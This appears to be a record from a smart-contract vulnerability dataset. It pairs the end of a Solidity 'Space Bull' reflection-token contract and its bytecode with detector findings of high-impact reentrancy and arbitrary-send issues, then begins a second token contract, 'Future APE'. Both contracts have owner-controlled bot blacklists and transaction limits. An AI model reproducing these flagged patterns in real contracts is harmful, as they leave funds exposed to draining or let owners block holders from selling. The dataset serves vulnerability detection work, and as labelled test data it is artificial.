function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3c565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612edd565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a00565b6105ad565b6040516101a09190612ec2565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb919061307f565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b1565b6105dc565b6040516102089190612ec2565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c11565b60405161024a91906130f4565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7d565b610c1a565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612923565b610ccc565b005b3480156102b157600080fd5b506102ba610dbc565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612923565b610e2e565b6040516102f0919061307f565b60405180910390f35b34801561030557600080fd5b5061030e610e7f565b005b34801561031c57600080fd5b50610325610fd2565b6040516103329190612df4565b60405180910390f35b34801561034757600080fd5b50610350610ffb565b60405161035d9190612edd565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a00565b611038565b60405161039a9190612ec2565b60405180910390f35b3480156103af57600080fd5b506103b8611056565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612acf565b6110d0565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612975565b611219565b604051610417919061307f565b60405180910390f35b6104286112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fdf565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613395565b9150506104b8565b5050565b60606040518060400160405280601b81526020017f53706163652042756c6c207c20742e6d652f737061636562756c6c0000000000815250905090565b60006105c16105ba6112a0565b84846112a8565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611473565b6106aa846105f56112a0565b6106a5856040518060600160405280602881526020016137b860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c329092919063ffffffff16565b6112a8565b600190509392505050565b6106bd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fdf565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f1f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294c565b6040518363ffffffff1660e01b815260040161095f929190612e0f565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2e565b600080610a45610fd2565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e61565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af8565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff02191690831515021790555067d02ab486cedc00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbb929190612e38565b602060405180830381600087803b158015610bd557600080fd5b505af1158015610be9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0d9190612aa6565b5050565b60006009905090565b610c226112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca690612fdf565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd46112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890612fdf565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfd6112a0565b73ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b6000479050610e2b81611c96565b50565b6000610e78600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d91565b9050919050565b610e876112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0b90612fdf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f42554c4c00000000000000000000000000000000000000000000000000000000815250905090565b600061104c6110456112a0565b8484611473565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110976112a0565b73ffffffffffffffffffffffffffffffffffffffff16146110b757600080fd5b60006110c230610e2e565b90506110cd81611dff565b50565b6110d86112a0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115c90612fdf565b60405180910390fd5b600081116111a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119f90612f9f565b60405180910390fd5b6111d760646111c983683635c9adc5dea000006120f990919063ffffffff16565b61217490919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120e919061307f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611318576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130f9061303f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f90612f5f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611466919061307f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114da9061301f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154a90612eff565b60405180910390fd5b60008111611596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158d90612fff565b60405180910390fd5b61159e610fd2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160c57506115dc610fd2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6f57600f60179054906101000a900460ff161561183f573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117425750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183e57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117886112a0565b73ffffffffffffffffffffffffffffffffffffffff1614806117fe5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e66112a0565b73ffffffffffffffffffffffffffffffffffffffff16145b61183d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118349061305f565b60405180910390fd5b5b5b60105481111561184e57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f25750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fb57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a65750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a145750600f60179054906101000a900460ff165b15611ab55742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6457600080fd5b601e42611a7191906131b5565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac030610e2e565b9050600f60159054906101000a900460ff16158015611b2d5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b455750600f60169054906101000a900460ff165b15611b6d57611b5381611dff565b60004790506000811115611b6b57611b6a47611c96565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c165750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2057600090505b611c2c848484846121be565b50505050565b6000838311158290611c7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c719190612edd565b60405180910390fd5b5060008385611c899190613296565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce660028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d11573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6260028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8d573d6000803e3d6000fd5b5050565b6000600654821115611dd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcf90612f3f565b60405180910390fd5b6000611de26121eb565b9050611df7818461217490919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5d577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8b5781602001602082028036833780820191505090505b5090503081600081518110611ec9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6b57600080fd5b505afa158015611f7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa3919061294c565b81600181518110611fdd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a8565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a895949392919061309a565b600060405180830381600087803b1580156120c257600080fd5b505af11580156120d6573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210c576000905061216e565b6000828461211a919061323c565b9050828482612129919061320b565b14612169576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216090612fbf565b60405180910390fd5b809150505b92915050565b60006121b683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612216565b905092915050565b806121cc576121cb612279565b5b6121d78484846122aa565b806121e5576121e4612475565b5b50505050565b60008060006121f8612487565b9150915061220f818361217490919063ffffffff16565b9250505090565b6000808311829061225d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122549190612edd565b60405180910390fd5b506000838561226c919061320b565b9050809150509392505050565b600060085414801561228d57506000600954145b15612297576122a8565b600060088190555060006009819055505b565b6000806000806000806122bc876124e9565b95509550955095509550955061231a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123af85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fb816125f9565b61240584836126b6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612462919061307f565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124bd683635c9adc5dea0000060065461217490919063ffffffff16565b8210156124dc57600654683635c9adc5dea000009350935050506124e5565b81819350935050505b9091565b60008060008060008060008060006125068a6008546009546126f0565b92509250925060006125166121eb565b905060008060006125298e878787612786565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c32565b905092915050565b60008082846125aa91906131b5565b9050838110156125ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e690612f7f565b60405180910390fd5b8091505092915050565b60006126036121eb565b9050600061261a82846120f990919063ffffffff16565b905061266e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cb8260065461255190919063ffffffff16565b6006819055506126e68160075461259b90919063ffffffff16565b6007819055505050565b60008060008061271c606461270e888a6120f990919063ffffffff16565b61217490919063ffffffff16565b905060006127466064612738888b6120f990919063ffffffff16565b61217490919063ffffffff16565b9050600061276f82612761858c61255190919063ffffffff16565b61255190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061279f85896120f990919063ffffffff16565b905060006127b686896120f990919063ffffffff16565b905060006127cd87896120f990919063ffffffff16565b905060006127f6826127e8858761255190919063ffffffff16565b61255190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282261281d84613134565b61310f565b9050808382526020820190508285602086028201111561284157600080fd5b60005b858110156128715781612857888261287b565b845260208401935060208301925050600181019050612844565b5050509392505050565b60008135905061288a81613772565b92915050565b60008151905061289f81613772565b92915050565b600082601f8301126128b657600080fd5b81356128c684826020860161280f565b91505092915050565b6000813590506128de81613789565b92915050565b6000815190506128f381613789565b92915050565b600081359050612908816137a0565b92915050565b60008151905061291d816137a0565b92915050565b60006020828403121561293557600080fd5b60006129438482850161287b565b91505092915050565b60006020828403121561295e57600080fd5b600061296c84828501612890565b91505092915050565b6000806040838503121561298857600080fd5b60006129968582860161287b565b92505060206129a78582860161287b565b9150509250929050565b6000806000606084860312156129c657600080fd5b60006129d48682870161287b565b93505060206129e58682870161287b565b92505060406129f6868287016128f9565b9150509250925092565b60008060408385031215612a1357600080fd5b6000612a218582860161287b565b9250506020612a32858286016128f9565b9150509250929050565b600060208284031215612a4e57600080fd5b600082013567ffffffffffffffff811115612a6857600080fd5b612a74848285016128a5565b91505092915050565b600060208284031215612a8f57600080fd5b6000612a9d848285016128cf565b91505092915050565b600060208284031215612ab857600080fd5b6000612ac6848285016128e4565b91505092915050565b600060208284031215612ae157600080fd5b6000612aef848285016128f9565b91505092915050565b600080600060608486031215612b0d57600080fd5b6000612b1b8682870161290e565b9350506020612b2c8682870161290e565b9250506040612b3d8682870161290e565b9150509250925092565b6000612b538383612b5f565b60208301905092915050565b612b68816132ca565b82525050565b612b77816132ca565b82525050565b6000612b8882613170565b612b928185613193565b9350612b9d83613160565b8060005b83811015612bce578151612bb58882612b47565b9750612bc083613186565b925050600181019050612ba1565b5085935050505092915050565b612be4816132dc565b82525050565b612bf38161331f565b82525050565b6000612c048261317b565b612c0e81856131a4565b9350612c1e818560208601613331565b612c278161346b565b840191505092915050565b6000612c3f6023836131a4565b9150612c4a8261347c565b604082019050919050565b6000612c62601a836131a4565b9150612c6d826134cb565b602082019050919050565b6000612c85602a836131a4565b9150612c90826134f4565b604082019050919050565b6000612ca86022836131a4565b9150612cb382613543565b604082019050919050565b6000612ccb601b836131a4565b9150612cd682613592565b602082019050919050565b6000612cee601d836131a4565b9150612cf9826135bb565b602082019050919050565b6000612d116021836131a4565b9150612d1c826135e4565b604082019050919050565b6000612d346020836131a4565b9150612d3f82613633565b602082019050919050565b6000612d576029836131a4565b9150612d628261365c565b604082019050919050565b6000612d7a6025836131a4565b9150612d85826136ab565b604082019050919050565b6000612d9d6024836131a4565b9150612da8826136fa565b604082019050919050565b6000612dc06011836131a4565b9150612dcb82613749565b602082019050919050565b612ddf81613308565b82525050565b612dee81613312565b82525050565b6000602082019050612e096000830184612b6e565b92915050565b6000604082019050612e246000830185612b6e565b612e316020830184612b6e565b9392505050565b6000604082019050612e4d6000830185612b6e565b612e5a6020830184612dd6565b9392505050565b600060c082019050612e766000830189612b6e565b612e836020830188612dd6565b612e906040830187612bea565b612e9d6060830186612bea565b612eaa6080830185612b6e565b612eb760a0830184612dd6565b979650505050505050565b6000602082019050612ed76000830184612bdb565b92915050565b60006020820190508181036000830152612ef78184612bf9565b905092915050565b60006020820190508181036000830152612f1881612c32565b9050919050565b60006020820190508181036000830152612f3881612c55565b9050919050565b60006020820190508181036000830152612f5881612c78565b9050919050565b60006020820190508181036000830152612f7881612c9b565b9050919050565b60006020820190508181036000830152612f9881612cbe565b9050919050565b60006020820190508181036000830152612fb881612ce1565b9050919050565b60006020820190508181036000830152612fd881612d04565b9050919050565b60006020820190508181036000830152612ff881612d27565b9050919050565b6000602082019050818103600083015261301881612d4a565b9050919050565b6000602082019050818103600083015261303881612d6d565b9050919050565b6000602082019050818103600083015261305881612d90565b9050919050565b6000602082019050818103600083015261307881612db3565b9050919050565b60006020820190506130946000830184612dd6565b92915050565b600060a0820190506130af6000830188612dd6565b6130bc6020830187612bea565b81810360408301526130ce8186612b7d565b90506130dd6060830185612b6e565b6130ea6080830184612dd6565b9695505050505050565b60006020820190506131096000830184612de5565b92915050565b600061311961312a565b90506131258282613364565b919050565b6000604051905090565b600067ffffffffffffffff82111561314f5761314e61343c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c082613308565b91506131cb83613308565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613200576131ff6133de565b5b828201905092915050565b600061321682613308565b915061322183613308565b9250826132315761323061340d565b5b828204905092915050565b600061324782613308565b915061325283613308565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328b5761328a6133de565b5b828202905092915050565b60006132a182613308565b91506132ac83613308565b9250828210156132bf576132be6133de565b5b828203905092915050565b60006132d5826132e8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332a82613308565b9050919050565b60005b8381101561334f578082015181840152602081019050613334565b8381111561335e576000848401525b50505050565b61336d8261346b565b810181811067ffffffffffffffff8211171561338c5761338b61343c565b5b80604052505050565b60006133a082613308565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d3576133d26133de565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377b816132ca565b811461378657600080fd5b50565b613792816132dc565b811461379d57600080fd5b50565b6137a981613308565b81146137b457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122070d938dc3a9f4974fecc099d4f610fb4a8da37c37c3ba9a756dc80bdc97e326f64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,075 |
0x43fa0d18d0348ca120d23d4251971209a068e54c
|
/**
*Submitted for verification at Etherscan.io on 2022-03-24
*/
// SPDX-License-Identifier: Unlicensed
//“A whole world populated by intelligent Ape -- I wonder what it'll be like?” - Future APE
//TELEGRAM
// @futureape
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract FAPE is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private constant _MAX = ~uint256(0);
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
uint private constant _decimals = 9;
uint256 private _teamFee = 12;
uint256 private _previousteamFee = _teamFee;
string private constant _name = "Future APE";
